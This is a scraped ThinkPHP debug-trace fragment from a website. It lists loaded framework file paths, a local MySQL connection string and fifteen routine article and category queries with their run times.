  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000892s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001354s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000700s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000642s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001334s ]
  6. SELECT * FROM `set` [ RunTime:0.000513s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001372s ]
  8. SELECT * FROM `article` WHERE `id` = 509803 LIMIT 1 [ RunTime:0.001151s ]
  9. UPDATE `article` SET `lasttime` = 1787298643 WHERE `id` = 509803 [ RunTime:0.003838s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 66 LIMIT 1 [ RunTime:0.000976s ]
  11. SELECT * FROM `article` WHERE `id` < 509803 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001525s ]
  12. SELECT * FROM `article` WHERE `id` > 509803 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.001092s ]
  13. SELECT * FROM `article` WHERE `id` < 509803 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.001710s ]
  14. SELECT * FROM `article` WHERE `id` < 509803 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.002489s ]
  15. SELECT * FROM `article` WHERE `id` < 509803 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.002529s ]
0.189708s